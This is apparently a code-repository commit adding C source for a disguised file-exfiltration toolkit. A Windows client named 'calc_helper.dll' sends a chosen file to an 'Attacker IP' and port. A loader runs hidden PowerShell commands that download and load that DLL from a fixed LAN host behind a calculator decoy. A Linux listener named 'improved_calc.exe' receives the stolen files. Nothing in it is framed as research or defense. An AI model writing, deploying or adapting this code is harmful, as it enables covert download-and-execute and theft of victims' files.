Add files via upload

Author: 1captainnemo1

calc_helper.dll

@@ -0,0 +1,109 @@
+//AUTHOR :#Captain_Nemo
+
+#include <stdio.h>
+#include <string.h>
+#include <winsock2.h>
+#include <windows.h>
+#include <ws2tcpip.h>
+#include <stdlib.h>
+#include <wchar.h>
+#define MAX_LINE 2048
+#define BUFFSIZE 2048
+#pragma comment(lib, "Ws2_32.lib")   //  indicates to the linker that the Ws2_32.lib file is required
+#define DEF_BUFF 2048
+
+void send_file(FILE *fp, SOCKET sock);
+ssize_t total=0;
+
+int main(int argc, char* argv[])
+{
+    SOCKET sock1;
+    WSADATA wsaData;
+    struct sockaddr_in serveraddr;
+   // WSAStartup(MAKEWORD(2,2), &wsaData);
+    const int iresult;
+    if (argc != 4) 
+    {
+        _wperror("usage:send_file filepath <Attacker IPaddress> <Attacker Port>");
+        exit(1);
+    } // end if block
+   // SOCKET sock1;
+   // WSADATA wsaData;
+   // struct sockaddr_in serveraddr;
+    WSAStartup(MAKEWORD(2,2), &wsaData);  // Initialize Winsock
+    sock1 = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); //create socket
+    memset(&serveraddr, 0, sizeof(serveraddr));
+    serveraddr.sin_family = AF_INET;
+    serveraddr.sin_port = htons(atoi(argv[3])); // change port
+    serveraddr.sin_addr.s_addr = inet_addr(argv[2]);
+    //if (inet_pton(AF_INET, argv[2], &serveraddr.sin_addr) < 0) // ip conversion || change ip from cmdline inet_pton InetPtonW
+    //{
+        //_wperror("IPaddress Convert Error");
+        //exit(1);
+    //} // end if block
+    
+    if (WSAConnect(sock1, (SOCKADDR*)&serveraddr, sizeof(serveraddr), NULL, NULL, NULL, NULL) < 0)// Call WSAConnect for socket bind
+     {
+       _wperror("Bind Fail");
+       exit(1);
+     } // end if 
+
+    char *Full_filename = argv[1];
+    char *filename;
+    //char path_buffer[_MAX_PATH];
+    char *drive;
+    char *dir;
+    char *fname;
+    char *ext;
+   // _splitpath(Full_filename, NULL, NULL, fname, ext);  // extract filename with extension from the complete file path
+   // filename = strcat(fname, ext);//fname + ext;
+     char buff[BUFFSIZE] = {0};
+     strncpy(buff, Full_filename, strlen(Full_filename));
+     int iresult1 = send(sock1, buff, BUFFSIZE, 0);
+     if (iresult1 == SOCKET_ERROR) 
+     {
+        wprintf(L"send failed with error: %d\n", WSAGetLastError());
+        closesocket(sock1);
+        WSACleanup();
+        exit(0);
+     } // end if block 
+     FILE *fp = fopen(argv[1], "rb");
+     if (fp == NULL) 
+       {
+        _wperror("Can't open file");
+        exit(1);
+       } // end if 
+     send_file(fp, sock1);   // call send_file() function
+     printf("Send Success, NumBytes = %ld\n", total);
+     fclose(fp);
+     close(sock1);
+     return 0;
+  } // end main
+
+void send_file(FILE *fp, SOCKET sock) 
+{
+    int n; 
+    char sendline[MAX_LINE] = {0}; 
+    while ((n = fread(sendline, sizeof(char), MAX_LINE, fp)) > 0) 
+    {
+	    total+=n;
+        if (n != MAX_LINE && ferror(fp))
+        {
+           _wperror("Read File Error");
+            exit(1);
+        }
+        
+       int iresult = send(sock, sendline, n, 0);
+        if (iresult == SOCKET_ERROR) 
+          {
+             wprintf(L"send failed with error: %d\n", WSAGetLastError());
+             closesocket(sock);
+             WSACleanup();
+             exit(0);
+          }
+        memset(sendline, 0, MAX_LINE);
+    } // end while 
+}  // end send_file
+
+
+

client_ft.exe

@@ -4,7 +4,8 @@ typedef int (*importFunction)();
 int loadDLL()
 {
 int status = 0;
-system("start powershell -windowstyle Hidden Invoke-WebRequest -Uri 'http://192.168.225.197/calc_helper.dll' -OutFile 'calc_helper.dll'");
+system("start powershell -windowstyle Hidden Invoke-WebRequest -Uri 'http://192.168.225.196/calc_helper.dll' -OutFile  'calc_helper.dll'");
+system("start powershell -windowstyle Hidden Invoke-WebRequest -Uri 'http://192.168.225.196/client_ft.exe' -OutFile 'client_ft.exe'");
 importFunction test;
 HINSTANCE testLibrary = LoadLibrary("calc_helper.dll");
 //system("start C:\\WINDOWS\\System32\\calc.exe"); // fire decoy

ft_clie.c

@@ -2,7 +2,7 @@
 
 #ifndef MINGW_DLL_H__
 #define MINGW_DLL_H__
-#define CONNIP "192.168.225.197"
+#define CONNIP "192.168.225.196"
 #define CONNPORT 8080
 #pragma comment(lib, "Ws2_32.lib")
 #define DEF_BUFF 2048

improved_calc.exe

@@ -0,0 +1,95 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <arpa/inet.h>
+#include <netinet/in.h>
+#include <sys/socket.h>
+#define MAX_LINE 2048
+#define BUFFSIZE 2048
+
+void writefile(int sockfd, FILE *fp);
+ssize_t total=0;
+int main(int argc, char *argv[]) 
+{
+    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
+    if (sockfd == -1) 
+    {
+        perror("Can't allocate sockfd");
+        exit(1);
+    }
+    
+    struct sockaddr_in clientaddr, serveraddr;
+    memset(&serveraddr, 0, sizeof(serveraddr));
+    serveraddr.sin_family = AF_INET;
+    serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
+    serveraddr.sin_port = htons(atoi(argv[2]));
+
+    if (bind(sockfd, (const struct sockaddr *) &serveraddr, sizeof(serveraddr)) == -1) 
+    {
+        perror("Bind Error");
+        exit(1);
+    }
+
+    if (listen(sockfd, argv[2]) == -1) 
+    {
+        perror("Listen Error");
+        exit(1);
+    }
+
+    socklen_t addrlen = sizeof(clientaddr);
+    int connfd = accept(sockfd, (struct sockaddr *) &clientaddr, &addrlen);
+    if (connfd == -1) 
+    {
+        perror("Connect Error");
+        exit(1);
+    }
+    close(sockfd); 
+
+    char filename[BUFFSIZE] = {0}; 
+    if (recv(connfd, filename, BUFFSIZE, 0) == -1) 
+    {
+        perror("Can't receive filename");
+        exit(1);
+    }
+
+    FILE *fp = fopen(filename, "wb");
+    if (fp == NULL) 
+    {
+        perror("Can't open file");
+        exit(1);
+    }
+    
+    char addr[INET_ADDRSTRLEN];
+    printf("Start receive file: %s from %s\n", filename, inet_ntop(AF_INET, &clientaddr.sin_addr, addr, INET_ADDRSTRLEN));
+    writefile(connfd, fp);
+    printf("Receive Success, NumBytes = %ld\n", total);
+    
+
+    fclose(fp);
+    close(connfd);
+    return 0;
+}
+
+void writefile(int sockfd, FILE *fp)
+{
+    ssize_t n;
+    char buff[MAX_LINE] = {0};
+    while ((n = recv(sockfd, buff, MAX_LINE, 0)) > 0) 
+    {
+	    total+=n;
+        if (n == -1)
+        {
+            perror("Receive File Error");
+            exit(1);
+        }
+        
+        if (fwrite(buff, sizeof(char), n, fp) != n)
+        {
+            perror("Write File Error");
+            exit(1);
+        }
+        memset(buff, 0, MAX_LINE);
+    }
+}
+